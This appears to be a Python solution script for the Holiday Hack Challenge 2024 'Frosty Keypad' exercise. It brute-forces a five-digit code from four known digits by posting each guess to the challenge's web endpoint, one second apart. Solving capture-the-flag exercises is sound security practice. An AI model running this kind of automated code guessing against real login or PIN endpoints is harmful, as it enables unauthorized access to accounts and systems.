import requests
import itertools 
import time
import random

# Add your own RID if you want the script to complete 
# the challenge in your HHC badge.
# It will still work without it.
id = "<RID>"
url = "https://hhc24-frostykeypad.holidayhackchallenge.com/submit"

def guess(num, verbose=False):
    get_params = {
        "id": id
    }
    data = {
        "answer":str(num)
    }
    resp = requests.post(url, params=get_params, json=data)
    if verbose:
        print(resp.status_code)
        print(resp.text)
    if resp.status_code == 200:
        return True
    return False

def permutations_with_repeat(iterable, r):
    return itertools.product(iterable, repeat=r)

def brute():
    chars = ['2', '6', '7', '8']
    r = 5
    c = 0
    for perm in permutations_with_repeat(chars, r):
        c += 1
        g = ''.join(perm)
        print(f"{c}: Attempting guess [{g}]...", end="")
        if guess(g):
            print("Success")
            break
        else:
            print("Failure")
        time.sleep(1)
    print("Done")
    
brute()
